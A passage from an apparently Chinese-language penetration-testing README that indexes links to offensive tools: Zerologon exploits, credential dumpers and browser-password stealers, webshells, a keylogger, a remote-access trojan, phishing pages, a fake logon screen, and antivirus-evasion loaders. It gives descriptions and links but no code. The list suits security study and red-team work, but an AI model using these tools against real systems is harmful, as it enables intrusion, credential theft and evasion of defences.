NetLogon特权提升漏洞(接管域控制器)](https://github.com/VoidSec/CVE-2020-1472)|[CVE-2020-1472 .NET版本的,可以编译成独立EXE文件,可以尝试webshell执行](https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon/SharpZeroLogon)|[同类型脚本](https://github.com/SecuraBV/CVE-2020-1472)|[同类型脚本二](https://github.com/dirkjanm/CVE-2020-1472)|[同类型脚本三](https://github.com/risksense/zerologon)|[同类型脚本4](https://github.com/bb00/zer0dump) ## <span id="head7"> tools-小工具集版本合</span> - [java环境下任意文件下载情况自动化读取源码的小工具](https://github.com/Artemis1029/Java_xmlhack) - [Linux SSH登录日志清除/伪造](./tools/ssh) - [python2的socks代理](./tools/s5.py) - [dede_burp_admin_path-dedecms后台路径爆破(Windows环境)](./tools/dede_burp_admin_path.md) - [PHP 7.1-7.3 disable_functions bypass](./tools/PHP%207.1-7.3%20disable_functions%20bypass.md) - [一个各种方式突破Disable_functions达到命令执行的shell](https://github.com/l3m0n/Bypass_Disable_functions_Shell) - [【PHP】bypass disable_functions via LD_PRELOA (no need /usr/sbin/sendmail)](https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD) - [另一个bypass PHP的disable_functions](https://github.com/mm0r1/exploits) - [cmd下查询3389远程桌面端口](./tools/cmd下查询3389远程桌面端口.md) - [伪装成企业微信名片的钓鱼代码](./tools/伪装成企业微信名片的钓鱼代码.txt) - [vbulletin5-rce利用工具(批量检测/getshell)](https://github.com/theLSA/vbulletin5-rce)/[保存了一份源码:vbulletin5-rce.py](./tools/vbulletin5-rce.py) - [CVE-2017-12615](./tools/CVE-2017-12615.py) - [通过Shodan和favicon icon发现真实IP地址](https://github.com/pielco11/fav-up) - [Cobalt_Strike扩展插件](./tools/Cobalt_Strike扩展插件.md) - [Windows命令行cmd的空格替换](./tools/Windows命令行cmd的空格替换.md) - [绕过disable_function汇总](./tools/绕过disable_function汇总.md) - [WAF Bypass](https://chybeta.gitbooks.io/waf-bypass/content/) - [命令注入总结](./tools/命令注入总结.md) - [隐藏wifi-ssid获取 · theKingOfNight's Blog](./books/隐藏wifi-ssid获取%20·%20theKingOfNight's%20Blog.pdf) - [crt.sh证书/域名收集](./tools/crt.sh证书收集.py) - [TP漏洞集合利用工具py3版本-来自奇安信大佬Lucifer1993](https://github.com/Mr-xn/TPscan) - [Python2编写的struts2漏洞全版本检测和利用工具-来自奇安信大佬Lucifer1993](https://github.com/Mr-xn/struts-scan) - [sqlmap_bypass_D盾_tamper](./tools/sqlmap_bypass_D盾_tamper.py) - [sqlmap_bypass_安全狗_tamper](./tools/sqlmap_bypass_安全狗_tamper.py) - [sqlmap_bypass_空格替换成换行符-某企业建站程序过滤_tamper](./tools/sqlmap_bypass_空格替换成换行符-某企业建站程序过滤_tamper.py) - [sqlmap_bypass_云锁_tamper](./tools/sqlmap_bypass_云锁_tamper.py) - [sqlmap bypass云锁tamper(利用云锁的注释不拦截缺陷,来自t00ls师傅)](https://github.com/Hsly-Alexsel/Bypass)-[t00ls原文地址](https://www.t00ls.net/thread-57788-1-1.html)|[项目留存PDF版本](./books/10种方法绕过云锁以及tamper.pdf) - [masscan+nmap扫描脚本](./tools/masscan%2Bnmap.py) - [PHP解密扩展](https://github.com/Albert-Zhan/php-decrypt) - [linux信息收集/应急响应/常见后门检测脚本](https://github.com/al0ne/LinuxCheck) - [RdpThief-从远程桌面客户端提取明文凭据辅助工具](https://github.com/0x09AL/RdpThief) - [使用powershell或CMD直接运行命令反弹shell](https://github.com/ZHacker13/ReverseTCPShell) - [FTP/SSH/SNMP/MSSQL/MYSQL/PostGreSQL/REDIS/ElasticSearch/MONGODB弱口令检测](https://github.com/netxfly/x-crack) - [GitHack-.git泄露利用脚本](https://github.com/lijiejie/GitHack) - [GitHacker---比GitHack更好用的git泄露利用脚本](https://github.com/WangYihang/GitHacker) - [SVN源代码泄露全版本Dump源码](https://github.com/admintony/svnExploit) - [多进程批量网站备份文件扫描](https://github.com/sry309/ihoneyBakFileScan) - [Empire](https://github.com/BC-SECURITY/Empire/)|相关文章:[后渗透测试神器Empire详解](https://mp.weixin.qq.com/s/xCtkoIwVomx5f8hVSoGKpA) - [FOFA Pro view 是一款FOFA Pro 资产展示浏览器插件,目前兼容 Chrome、Firefox、Opera](https://github.com/0nise/fofa_view) - [Zoomeye Tools-一款利用Zoomeye 获取有关当前网页IP地址的各种信息(需要登录)](https://chrome.google.com/webstore/detail/zoomeye-tools/bdoaeiibkccgkbjbmmmoemghacnkbklj) - [360 0Kee-Team 的 crawlergo动态爬虫 结合 长亭XRAY扫描器的被动扫描功能](https://github.com/timwhitez/crawlergo_x_XRAY) - [内网神器Xerosploit-娱乐性质(端口扫描|DoS攻击|HTML代码注入|JavaScript代码注入|下载拦截和替换|嗅探攻击|DNS欺骗|图片替换|Web页面篡改|Drifnet)](https://github.com/LionSec/xerosploit) - [一个包含php,java,python,C#等各种语言版本的XXE漏洞Demo](https://github.com/c0ny1/xxe-lab) - [内网常见渗透工具包](https://github.com/yuxiaokui/Intranet-Penetration) - [从内存中加载 SHELLCODE bypass AV查杀](https://github.com/brimstone/go-shellcode)|[twitter示例](https://twitter.com/jas502n/status/1213847002947051521) - [流量转发工具-pingtunnel是把tcp/udp/sock5流量伪装成icmp流量进行转发的工具](https://github.com/esrrhs/pingtunnel) - [内网渗透-创建Windows用户(当net net1 等常见命令被过滤时,一个文件执行直接添加一个管理员【需要shell具有管理员权限l】](https://github.com/newsoft/adduser)|[adduser使用方法](./adduser添加用户.md) |[【windows】绕过杀软添加管理员用户的两种方法](https://github.com/lengjibo/RedTeamTools/tree/master/windows/bypass360%E5%8A%A0%E7%94%A8%E6%88%B7)|[【windows】使用vbs脚本添加管理员用户](./使用vbs脚本添加管理员用户.md) - [pypykatz-通过python3实现完整的Mimikatz功能(python3.6+)](https://github.com/skelsec/pypykatz) - [【windows】Bypassing AV via in-memory PE execution-通过在内存中加载多次XOR后的payload来bypass杀软](https://blog.dylan.codes/bypassing-av-via/)|[作者自建gitlab地址](https://git.dylan.codes/batman/darkarmour) - [wafw00f-帮助你快速识别web应用是否使用何种WAF(扫描之前很有用)](https://github.com/EnableSecurity/wafw00f) - [Linux提取其他用户密码的工具(需要root权限)](https://github.com/huntergregal/mimipenguin) - [apache2_BackdoorMod-apache后门模块](https://github.com/VladRico/apache2_BackdoorMod) - [对密码已保存在 Windwos 系统上的部分程序进行解析,包括:Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品(Xshell,Xftp)](https://github.com/uknowsec/SharpDecryptPwd) - [一个简单探测jboss漏洞的工具](https://github.com/GGyao/jbossScan) - [一款lcx在golang下的实现-适合内网代理流量到公网,比如阿里云的机器代理到你的公网机器](https://github.com/cw1997/NATBypass) - [Cobalt Strike Aggressor 插件包](https://github.com/timwhitez/Cobalt-Strike-Aggressor-Scripts) - [Erebus-Cobalt Strike后渗透测试插件,包括了信息收集、权限获取、密码获取、痕迹清除等等常见的脚本插件](https://github.com/DeEpinGh0st/Erebus) - [cobaltstrike后渗透插件,偏向内网常用工具(目前包含1.定位域管理员2.信息收集(采用ADfind)3.权限维持(增加了万能密码,以及白银票据)4.内网扫描(nbtscan(linux/windows通用))5.dump数据库hash(支持mysql/mssql(快速获取数据库的hash值)))](https://github.com/wafinfo/cobaltstrike) - [IP/IP段资产扫描-->扫描开放端口识别运行服务部署网站-->自动化整理扫描结果-->输出可视化报表+整理结果](https://github.com/LangziFun/LangNetworkTopology3) - [A script to scan for unsecured Laravel .env files](https://github.com/tismayil/laravelN00b) - [Struts2漏洞扫描Golang版-【特点:单文件、全平台支持、可在webshell下使用】](https://github.com/x51/STS2G) - [ShiroScan-Shiro<=1.2.4反序列化,一键检测工具](https://github.com/sv3nbeast/ShiroScan)|[Apache shiro <= 1.2.4 rememberMe 反序列化漏洞利用工具](https://github.com/acgbfull/Apache_Shiro_1.2.4_RCE) - [weblogicScanner-完整weblogic 漏洞扫描工具修复版](https://github.com/0xn0ne/weblogicScanner) - [GitHub敏感信息泄露监控](https://github.com/FeeiCN/GSIL) - [Java安全相关的漏洞和技术demo](https://github.com/threedr3am/learnjavabug) - [在线扫描-网站基础信息获取|旁站|端口扫描|信息泄露](https://scan.top15.cn/web/) - [bayonet是一款src资产管理系统,从子域名、端口服务、漏洞、爬虫等一体化的资产管理系统](https://github.com/CTF-MissFeng/bayonet) - [内网渗透中常用的c#程序整合成cs脚本,直接内存加载](https://github.com/uknowsec/SharpToolsAggressor) - [【漏洞库】又一个各种漏洞poc、Exp的收集或编写](https://github.com/coffeehb/Some-PoC-oR-ExP) - [【内网代理】内网渗透代理转发利器reGeorg](https://github.com/sensepost/reGeorg)|**相关文章:**[配置reGeorg+Proxifier渗透内网](https://www.k0rz3n.com/2018/07/06/如何使用reGeorg+Proxifier渗透内网)|[reGeorg+Proxifier实现内网sock5代理](http://jean.ink/2018/04/26/reGeorg/)|[内网渗透之reGeorg+Proxifier](https://sky666sec.github.io/2017/12/16/内网渗透之reGeorg-Proxifier)|[reGeorg+Proxifier使用](https://xz.aliyun.com/t/228) - [【内网代理】Neo-reGeorg重构的reGeorg ](https://github.com/L-codes/Neo-reGeorg) - [【内网代理】Tunna-通过http隧道将TCP流量代理出来](https://github.com/SECFORCE/Tunna) - [【内网代理】proxy.php-单文件版的php代理](https://github.com/mcnemesis/proxy.php) - [【内网代理】pivotnacci-通过HTTP隧道将TCP流量代理出来或进去](https://github.com/blackarrowsec/pivotnacci) - [【内网代理】毒刺(pystinger)通过webshell实现**内网SOCK4代理**,**端口映射**.](https://github.com/FunnyWolf/pystinger)|[pystinger.zip-下载](./tools/pystinger.zip) - [【内网代理】php-proxy-app-一款代理访问网站的工具](https://github.com/Athlon1600/php-proxy-app) - [get_Team_Pass-获取目标机器上的teamviewerID和密码(你需要具有有效的目标机器账号密码且目标机器445端口可以被访问(开放445端口))](https://github.com/kr1shn4murt1/get_Team_Pass/) - [chromepass-获取chrome保存的账号密码/cookies-nirsoft出品在win10+chrome 80测试OK](./tools/chromepass/)|[SharpChrome-基于.NET 2.0的开源获取chrome保存过的账号密码/cookies/history](https://github.com/djhohnstein/SharpChrome)|[ChromePasswords-开源获取chrome密码/cookies工具](https://github.com/malcomvetter/ChromePasswords) - [java-jdwp远程调试利用](https://github.com/Lz1y/jdwp-shellifier)|相关文章:[jdwp远程调试与安全](https://qsli.github.io/2018/08/12/jdwp/) - [社会工程学密码生成器,是一个利用个人信息生成密码的工具](https://github.com/zgjx6/SocialEngineeringDictionaryGenerator) - [云业CMS(yunyecms)的多处SQL注入审计分析](./books/云业CMS(yunyecms)的多处SQL注入审计分析.pdf)|[原文地址](https://xz.aliyun.com/t/7302)|[官网下载地址](http://www.yunyecms.com/index.php?m=version&c=index&a=index)|[sqlmap_yunyecms_front_sqli_tamp.py](./tools/sqlmap_yunyecms_front_sqli_tamp.py) - [www.flash.cn 的钓鱼页,中文+英文](https://github.com/r00tSe7en/Fake-flash.cn) - [织梦dedecms全版本漏洞扫描](https://github.com/Mr-xn/dedecmscan) - [CVE、CMS、中间件漏洞检测利用合集 Since 2019-9-15](https://github.com/mai-lang-chai/Middleware-Vulnerability-detection) - [Dirble -快速目录扫描和爬取工具【比dirsearch和dirb更快】](https://github.com/nccgroup/dirble) - [RedRabbit - Red Team PowerShell脚本](https://github.com/securethelogs/RedRabbit) - [Pentest Tools Framework - 渗透测试工具集-适用于Linux系统](https://github.com/pikpikcu/Pentest-Tools-Framework) - [白鹿社工字典生成器,灵活与易用兼顾。](https://github.com/HongLuDianXue/BaiLu-SED-Tool) - [NodeJsScan-一款转为Nodejs进行静态代码扫描开发的工具](https://github.com/ajinabraham/NodeJsScan) - [一款国人根据poison ivy重写的远控](https://github.com/killeven/Poison-Ivy-Reload) - [NoXss-可配合burpsuite批量检测XSS](https://github.com/lwzSoviet/NoXss) - [fofa 采集脚本](https://raw.githubusercontent.com/ggg4566/SomeTools/master/fofa_search.py) - [java web 压缩文件 安全 漏洞](https://github.com/jas502n/Java-Compressed-file-security) - [可以自定义规则的密码字典生成器,支持图形界面](https://github.com/bit4woo/passmaker) - [dump lass 工具(绕过/干掉卡巴斯基)](./books/dump%20lass%20工具.pdf)|[loader.zip下载](./tools/loader.zip) - [GO语言版本的mimikatz-编译后免杀](https://github.com/vyrus001/go-mimikatz) - [CVE-2019-0708-批量检测扫描工具](./tools/cve0708.rar) - [dump lsass的工具](https://github.com/outflanknl/Dumpert)|[又一个dump lsass的工具](https://github.com/7hmA3s/dump_lsass) - [Cobalt Strike插件 - RDP日志取证&清除](https://github.com/QAX-A-Team/EventLogMaster) - [xencrypt-一款利用powershell来加密并采用Gzip/DEFLATE来绕过杀软的工具](https://github.com/the-xentropy/xencrypt) - [SessionGopher-一款采用powershell来解密Windows机器上保存的session文件,例如: WinSCP, PuTTY, SuperPuTTY, FileZilla, and Microsoft Remote Desktop,支持远程加载和本地加载使用](https://github.com/Arvanaghi/SessionGopher) - [CVE-2020-0796 Local Privilege Escalation POC-python版本](https://github.com/ZecOps/CVE-2020-0796-LPE-POC)|[CVE-2020-0796 Remote Code Execution POC](https://github.com/ZecOps/CVE-2020-0796-RCE-POC) - [Windows杀软在线对比辅助](https://github.com/r00tSe7en/get_AV) - [递归式寻找域名和api](https://github.com/p1g3/JSINFO-SCAN) - [mssqli-duet-用于mssql的sql注入脚本,使用RID爆破,从Active Directory环境中提取域用户](https://github.com/Keramas/mssqli-duet) - [【Android脱壳】之一键提取APP敏感信息](https://github.com/TheKingOfDuck/ApkAnalyser) - [Shiro系列漏洞检测GUI版本-ShiroExploit GUI版本](https://github.com/feihong-cs/ShiroExploit_GUI) - [通过phpinfo获取cookie突破httponly](./通过phpinfo获取cookie突破httponly.md) - [phpstudy RCE 利用工具 windows GUI版本](https://github.com/aimorc/phpstudyrce) - [WebAliveScan-根据端口快速扫描存活的WEB](https://github.com/broken5/WebAliveScan) - [扫描可写目录.aspx](./tools/扫描可写目录.aspx) - [PC客户端(C-S架构)渗透测试](https://github.com/theLSA/CS-checklist) - [wsltools-web扫描辅助python库](https://github.com/Symbo1/wsltools) - [struts2_check-用于识别目标网站是否采用Struts2框架开发的工具](https://github.com/coffeehb/struts2_check) - [sharpmimi.exe-免杀版mimikatz](./tools/sharpmimi.exe) - [thinkPHP代码执行批量检测工具](https://github.com/admintony/thinkPHPBatchPoc) - [pypykatz-用纯Python实现的Mimikatz](https://github.com/skelsec/pypykatz) - [Flux-Keylogger-具有Web面板的现代Javascript键盘记录器](https://github.com/LimerBoy/Flux-Keylogger) - [JSINFO-SCAN-递归式寻找域名和api](https://github.com/p1g3/JSINFO-SCAN) - [FrameScan-GUI 一款python3和Pyqt编写的具有图形化界面的cms漏洞检测框架](https://github.com/qianxiao996/FrameScan-GUI) - [SRC资产信息聚合网站](https://github.com/cckuailong/InformationGather) - [Spring Boot Actuator未授权访问【XXE、RCE】单/多目标检测](https://github.com/rabbitmask/SB-Actuator) - [JNDI 注入利用工具【Fastjson、Jackson 等相关漏洞】](https://github.com/JosephTribbianni/JNDI) - [各种反弹shell的语句集合页面](https://krober.biz/misc/reverse_shell.php) - [解密weblogic AES或DES加密方法](https://github.com/Ch1ngg/WebLogicPasswordDecryptorUi) - [使用 sshLooterC 抓取 SSH 密码](https://github.com/mthbernardes/sshLooterC)|[相关文章](https://www.ch1ng.com/blog/208.html)|[本地版本](./books/使用sshLooterC抓取SSH密码.pdf) - [redis-rogue-server-Redis 4.x/5.x RCE](https://github.com/AdministratorGithub/redis-rogue-server) - [ew-内网穿透(跨平台)](https://github.com/idlefire/ew) - [xray-weblisten-ui-一款基于GO语言写的Xray 被动扫描管理](https://github.com/virink/xray-weblisten-ui) - [SQLEXP-SQL 注入利用工具,存在waf的情况下自定义编写tamper脚本 dump数据](https://github.com/ggg4566/SQLEXP) - [SRC资产在线管理系统 - Shots](https://github.com/broken5/Shots) - [luject:可以将动态库静态注入到指定应用程序包的工具,目前支持Android/iPhonsOS/Windows/macOS/Linux](https://github.com/lanoox/luject)|[相关文章](https://tboox.org/cn/2020/04/26/luject/) - [CursedChrome:Chrome扩展植入程序,可将受害Chrome浏览器转变为功能齐全的HTTP代理,使你能够以受害人身份浏览网站](https://github.com/mandatoryprogrammer/CursedChrome) - [pivotnacci:通过HTTP隧道进行Socks连接](https://github.com/blackarrowsec/pivotnacci) - [PHPFuck-一款适用于php7以上版本的代码混淆](https://github.com/splitline/PHPFuck)|[[PHPFuck在线版本](https://splitline.github.io/PHPFuck/) - [冰蝎 bypass open_basedir 的马](./tools/冰蝎bypass_open_basedir_shell.md) - [goproxy heroku 一键部署套装,把heroku变为免费的http(s)\socks5代理](https://github.com/snail007/goproxy-heroku) - [自己收集整理的端口、子域、账号密码、其他杂七杂八字典,用于自己使用](https://github.com/cwkiller/Pentest_Dic) - [xFTP6密码解密](./tools/xFTP6密码解密.md) - [Mars-战神TideSec出品的WDScanner的重写一款综合的漏洞扫描,资产发现/变更,域名监控/子域名挖掘,Awvs扫描,POC检测,web指纹探测、端口指纹探测、CDN探测、操作系统指纹探测、泛解析探测、WAF探测、敏感信息检测等等工具](https://github.com/TideSec/Mars) - [Shellcode Compiler:用于生成Windows 和 Linux平台的shellcode工具](https://github.com/NytroRST/ShellcodeCompiler) - [BadDNS 是一款使用 Rust 开发的使用公共 DNS 服务器进行多层子域名探测的极速工具](https://github.com/joinsec/BadDNS) - [【Android脱壳】XServer是一个用于对方法进行分析的Xposed插件](https://github.com/monkeylord/XServer)|[相关文章:Xposed+XServer无需脱壳抓取加密包](https://xz.aliyun.com/t/7669)|[使用xserver对某应用进行不脱壳抓加密包](https://blog.csdn.net/nini_boom/article/details/104400619) - [masscan_to_nmap-基于masscan和nmap的快速端口扫描和指纹识别工具](https://github.com/7dog7/masscan_to_nmap) - [Evilreg -使用Windows注册表文件的反向Shell (.Reg)](https://github.com/thelinuxchoice/evilreg) - [Shecodject工具使用python注入shellcode bypass 火絨,360,windows defender](https://github.com/TaroballzChen/Shecodject) - [Malleable-C2-Profiles-Cobalt Strike的C2隐藏配置文件相关](https://github.com/xx0hcd/Malleable-C2-Profiles)|[渗透利器Cobalt Strike - 第2篇 APT级的全面免杀与企业纵深防御体系的对抗](https://xz.aliyun.com/t/4191) - [AutoRemove-自动卸载360](https://github.com/DeEpinGh0st/AutoRemove) - [ligolo:用于渗透时反向隧道连接工具](https://github.com/sysdream/ligolo) - [RMIScout: Java RMI爆破工具](https://github.com/BishopFox/rmiscout) - [【Android脱壳】FRIDA-DEXDump-【使用Frida来进行Android脱壳】](https://github.com/hluwa/FRIDA-DEXDump) - [Donut-Shellcode生成工具](https://github.com/TheWover/donut) - [JSP-Webshells集合【2020最新bypass某云检测可用】](https://github.com/threedr3am/JSP-Webshells) - [one-scan-多合一网站指纹扫描器,轻松获取网站的 IP / DNS 服务商 / 子域名 / HTTPS 证书 / WHOIS / 开发框架 / WAF 等信息](https://github.com/Jackeriss/one-scan) - [ServerScan一款使用Golang开发的高并发网络扫描、服务探测工具。](https://github.com/Adminisme/ServerScan) - [域渗透-Windows hash dump之secretsdump.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py)|[相关文章](https://github.com/PythonPig/PythonPig.github.io/blob/730be0e55603df96f45680c25c56ba8148052d2c/_posts/2019-07-16-Windows%20hash%20dump%E4%B9%8Bsecretsdump.md) - [WindowsVulnScan:基于主机的漏洞扫描工【类似windows-exp-suggester】](https://github.com/chroblert/WindowsVulnScan) - [基于实战沉淀下的各种弱口令字典](https://github.com/klionsec/SuperWordlist) - [SpoofWeb:一键部署HTTPS钓鱼站](https://github.com/klionsec/SpoofWeb) - [VpsEnvInstall:一键部署VPS渗透环境](https://github.com/klionsec/VpsEnvInstall) - [tangalanga:Zoom会议扫描工具](https://github.com/elcuervo/tangalanga) - [碎遮SZhe_Scan Web漏洞扫描器,基于python Flask框架,对输入的域名/IP进行全面的信息搜集,漏洞扫描,可自主添加POC](https://github.com/Cl0udG0d/SZhe_Scan) - [Taie-RedTeam-OS-泰阿安全实验室-基于XUbuntu私人订制的红蓝对抗渗透操作系统](https://github.com/taielab/Taie-RedTeam-OS) - [naiveproxy-一款用C语言编写类似于trojan的代理工具](https://github.com/klzgrad/naiveproxy) - [BrowserGhost-一个抓取浏览器密码的工具,后续会添加更多功能](https://github.com/QAX-A-Team/BrowserGhost) - [GatherInfo-渗透测试信息搜集/内网渗透信息搜集](https://github.com/Paper-Pen/GatherInfo) - [EvilPDF:一款把恶意文件嵌入在 PDF 中的工具](https://github.com/thelinuxchoice/evilpdf) - [SatanSword-红队综合渗透框架,支持web指纹识别、漏洞PoC检测、批量web信息和端口信息查询、路径扫描、批量JS查找子域名、使用google headless、协程支持、完整的日志回溯](https://github.com/Lucifer1993/SatanSword) - [Get-WeChat-DB-获取目标机器的微信数据库和密钥](https://github.com/A2kaid/Get-WeChat-DB) - [ThinkphpRCE-支持代理IP池的批量检测Thinkphp漏洞或者日志泄露的py3脚本](https://github.com/sukabuliet/ThinkphpRCE) - [fakelogonscreen-伪造(Windows)系统登录页面,截获密码](https://github.com/bitsadmin/fakelogonscreen) - [WMIHACKER-仅135端口免杀横向移动](https://github.com/360-Linton-Lab/WMIHACKER)|[使用方法以及介绍](./books/WMIHACKER(仅135端口免杀横向移动).pdf)|[横向移动工具WMIHACKER](./books/横向移动工具WMIHACKER.pdf)|[原文链接](https://www.anquanke.com/post/id/209665) - [cloud-ranges-部分公有云IP地址范围](https://github.com/pry0cc/cloud-ranges) - [sqltools_ch-sqltools2.0汉化增强版](./ttools/sqltools_ch.rar) - [railgun-poc_1.0.1.7-多功能端口扫描/爆破/漏洞利用/编码转换等](./tools/railgun-poc_1.0.1.7.zip)|[railgun作者更新到GitHub了,目前是1.2.8版本](https://github.com/lz520520/railgun)|[railgun-v1.2.8.zip-存档](./tools/railgun.zip) - [dede_funcookie.php-DEDECMS伪随机漏洞分析 (三) 碰撞点(爆破,伪造管理员cookie登陆后台getshell](./tools/dede_funcookie.php) - [WAScan-一款功能强大的Web应用程序扫描工具【基于python开发的命令行扫描器】](https://github.com/m4ll0k/WAScan) - [Peinject_dll-CS插件之另类持久化方法-PE感染](https://github.com/m0ngo0se/Peinject_dll) - [MSSQL_BackDoor-摆脱MSSMS和 Navicat 调用执行 sp_cmdExec](https://github.com/evi1ox/MSSQL_BackDoor) - [xShock-一款针对Shellshock漏洞的利用工具【例如低版本cgi的默认配置页面进行利用】](https://github.com/capture0x/xShock/) - [tini-tools-针对红蓝对抗各个场景使用的小工具-【主要是Java写的工具】【目前有phpstudy.jar和域名转IP工具.jar】](https://github.com/sunird/tini-tools) - [code6-码小六是一款 GitHub 代码泄露监控系统,通过定期扫描 GitHub 发现代码泄露行为](https://github.com/4x99/code6) - [taowu-cobalt-strike-适用于cobalt strike3.x与cobalt strike4.x的插件](https://github.com/pandasec888/taowu-cobalt-strike) - [Weblogic-scan-Weblogic 漏洞批量扫描工具](./tools/Weblogic-scan) - [revp:反向HTTP代理,支持Linux,Windows和macOS](https://github.com/jafarlihi/revp) - [fofa2Xray-一款联合fofa与xray的自动化批量扫描工具,使用Golang编写,适用于windows与linux](https://github.com/piaolin/fofa2Xray) - [CasExp-Apereo CAS 反序列化利用工具](https://github.com/potats0/CasExp) - [C_Shot-shellcode远程加载器](https://github.com/anthemtotheego/C_Shot)|[相关文章](./books/C_shot–shellcode远程加载器.pdf) - [dz_ml_rce.py-Discuz! ml RCE漏洞利用工具](./tools/dz_ml_rce.py) - [Redis未授权访问漏洞利用工具](./tools/Redis_Exp-by_PANDA墨森.zip) - [Shiro 回显利用工具](./tools/shiroPoc-1.0-SNAPSHOT-jar-with-dependencies_20200726_130831.jar)|[相关文章](./books/Shiro_回显利用工具.pdf) - [GetIPinfo-用于寻找多网卡主机方便内网跨网段渗透避免瞎打找不到核心网](https://github.com/r35tart/GetIPinfo) - [Layer子域名挖掘机-Layer5.0 SAINTSEC](https://github.com/euphrat1ca/LayerDomainFinder) - [cve_2020_14644.jar-Weblogic 远程命令执行漏洞(CVE-2020-14644)回显利用工具](./tools/cve_2020_14644.jar) - [TechNet-Gallery-PowerShell武器库](https://github.com/MScholtes/TechNet-Gallery)|[Powershell ebserver:PowerShell实现的Web服务器,无需IIS,支持PowerShell命令执行、脚本执行、上传、下载等功能](https://github.com/MScholtes/TechNet-Gallery/tree/master/Powershell%20Webserver)|[PS2EXE-GUI:将PowerShell脚本转换为EXE文件](https://github.com/MScholtes/TechNet-Gallery/tree/master/PS2EXE-GUI) - [spybrowse:窃取指定浏览器的配置文件](https://github.com/1d8/spybrowse) - [FavFreak:执行基于favicon.ico的侦察](https://github.com/devanshbatham/FavFreak) - [gorailgun_v1.0.7-集漏洞端口扫描利用于一体的工具](./tools/gorailgun_v1.0.7.zip) - [【shell管理工具】Godzilla-哥斯拉](https://github.com/BeichenDream/Godzilla)|[AntSword-蚁剑](https://github.com/AntSwordProject)|[Behinder-冰蝎](https://github.com/rebeyond/Behinder) - [由python编写打包的Linux下自动巡检工具](./tools/linux_auto_xunjian)|[源处](https://github.com/heikanet/linux_auto_xunjian) - [【内网探测】SharpNetCheck-批量检测机器是否有出网权限,可在dnslog中回显内网ip地址和计算机名,可实现内网中的快速定位可出网机器](https://github.com/uknowsec/SharpNetCheck) - [fofa搜索增强版-使用fofa的url+cookies即可自动下载所有结果](./tools/fofa搜索增强版.zip) - [SharpBlock-A method of bypassing EDR's active projection DLL's by preventing entry point exection](https://github.com/CCob/SharpBlock)|[相关文章](https://www.pentestpartners.com/security-blog/patchless-amsi-bypass-using-sharpblock/) - [bypasswaf-云锁数字型注入tamper/安全狗的延时、布尔、union注入绕过tamper](https://github.com/pureqh/bypasswaf) - [通达OA 2017 版本SQL注入脚本](./tools/tongda_oa_2017_sql_injection.py) - [t14m4t:一款封装了THC-Hydra和Nmap的自动化爆破工具](https://github.com/MS-WEB-BN/t14m4t) - [ksubdomain:一款基于无状态子域名爆破工具](https://github.com/knownsec/ksubdomain) - [smuggler-一款用python3编写的http请求走私验证测试工具](https://github.com/defparam/smuggler) - [Fuzz_dic:又一个类型全面的参数和字典收集项目](https://github.com/SmithEcon/Fuzz_dic) - [PentesterSpecialDict-该项目对 [ fuzzDicts | fuzzdb | Dict ] 等其他网上字典开源项目进行整合精简化和去重处理](https://github.com/ppbibo/PentesterSpecialDict) - [PowerUpSQL:为攻击SQLServer而设计的具有攻击性的PowerShell脚本](https://github.com/NetSPI/PowerUpSQL)|[利用PowerUpSQL攻击SQL Server实例](./books/%E5%88%A9%E7%94%A8PowerUpSQL%E6%94%BB%E5%87%BBSQL%20Server%E5%AE%9E%E4%BE%8B.pdf) - [adbsploit-一个基于Python3和ADB的安卓设备漏洞利用和管理工具](https://github.com/mesquidar/adbsploit) - [monsoon-一个用Go语言编写的目录扫描工具,类似于dirsearch](https://github.com/RedTeamPentesting/monsoon) - [【Android脱壳】Youpk-又一款基于ART的主动调用的脱壳机](https://github.com/Youlor/Youpk) - [【webshell免杀】php免杀D盾webshell生成工具](https://github.com/pureqh/webshell) - [Steganographer-一款能够帮助你在图片中隐藏文件或数据的Python隐写工具](https://github.com/priyansh-anand/steganographer) - [AV_Evasion_Tool:掩日 - 免杀执行器生成工具](https://github.com/1y0n/AV_Evasion_Tool) - [GODNSLOG-河马师傅(河马webshell检测作者)基于go语言开发的一款DNSLOG工具,支持docker一键部署](https://github.com/chennqqi/godnslog) - [SweetPotato_CS-修改的SweetPotato,使之可以用于CobaltStrike v4.0](https://github.com/Tycx2ry/SweetPotato_CS) - [ServerScan-一款使用Golang开发的高并发网络扫描、服务探测工具](https://github.com/Adminisme/ServerScan) - [ShellcodeLoader-将shellcode用rsa加密并动态编译exe,自带几种反沙箱技术](https://github.com/Hzllaga/ShellcodeLoader) - [Invoke-CustomKatz.ps1-bypass AMSI 的Mimikatz PS脚本](./tools/Invoke-CustomKatz.ps1)-[原文地址](https://s3cur3th1ssh1t.github.io/Bypass-AMSI-by-manual-modification-part-II/)-[原gits链接](https://gist.github.com/S3cur3Th1sSh1t/b33b978ea62a4b0f6ef545f1378512a6) - [SimpleShellcodeInjector-shellcode加载器](https://github.com/DimopoulosElias/SimpleShellcodeInjector) - [Arsenal-CS直接生成payload插件免杀360和火绒](https://github.com/Cliov/Arsenal) ## <span id="head8"> 文章/书籍/教程相关</span> - [windwos权限维持系列12篇PDF](./books/Window权限维持) - [Linux 权限维持之进程注入(需要关闭ptrace)](./books/Linux%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81%E4%B9%8B%E8%BF%9B%E7%A8%8B%E6%B3%A8%E5%85%A5%20%C2%AB%20%E5%80%BE%E6%97%8B%E7%9A%84%E5%8D%9A%E5%AE%A2.pdf) | [在不使用ptrace的情况下,将共享库(即任意代码)注入实时Linux进程中。(不需要关闭ptrace)](https://github.com/DavidBuchanan314/dlinject)|[[总结]Linux权限维持](./books/[总结]Linux权限维持.pdf)-[原文地址](https://www.cnblogs.com/-mo-/p/12337766.html) - [44139-mysql-udf-exploitation](./books/44139-mysql-udf-exploitation.pdf) - [emlog CMS的代码审计_越权到后台getshell](./books/emlog%20CMS的代码审计_越权到后台getshell%20-%20先知社区.pdf) - [PHPOK 5.3 最新版前台注入](./books/PHPOK%205.3%20最新版前台注入%20-%20先知社区.pdf) - [PHPOK 5.3 最新版前台无限制注入(二)](./books/PHPOK%205.3%20最新版前台无限制注入(二)%20-%20先知社区.pdf) - [Thinkphp5 RCE总结](./books/Thinkphp5%20RCE总结%20_%20ChaBug安全.pdf) - [rConfig v3.9.2 RCE漏洞分析](./books/rConfig%20v3.9.2%20RCE漏洞分析.pdf) - [weiphp5.0 